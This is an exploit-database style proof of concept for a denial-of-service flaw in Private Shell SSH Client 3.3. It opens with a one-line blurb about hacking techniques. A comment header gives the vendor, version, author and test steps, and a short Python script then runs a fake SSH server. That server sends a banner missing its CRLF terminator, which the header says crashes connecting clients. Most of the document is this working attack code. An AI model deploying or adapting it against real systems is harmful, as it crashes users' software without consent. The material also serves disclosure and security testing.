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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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'''
# Exploit title: privateshell SSH Client v.3.3 denial of service vulnerability
# Date: 27-5-2015
# Vendor homepage: www.privateshell.com
# Software Link: http://www.privateshell.com/files/pshell.exe
# Version: 3.3
# Author: 3unnym00n

# Details:
# --------
# when doing the ssh version exchange, if the server send a banner missing \r\n, can lead the pshell crash

# Tested On: win7
# operating steps: run the py, then execute : "D:\programfile\Private Shell\ssh.exe" root@127.0.0.1

'''



import socket
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.bind(('127.0.0.1', 22))
soc.listen(1)
client, addr = soc.accept()
client.send('SSH-2.0-SUCK') ## no "\r\n" lead to crash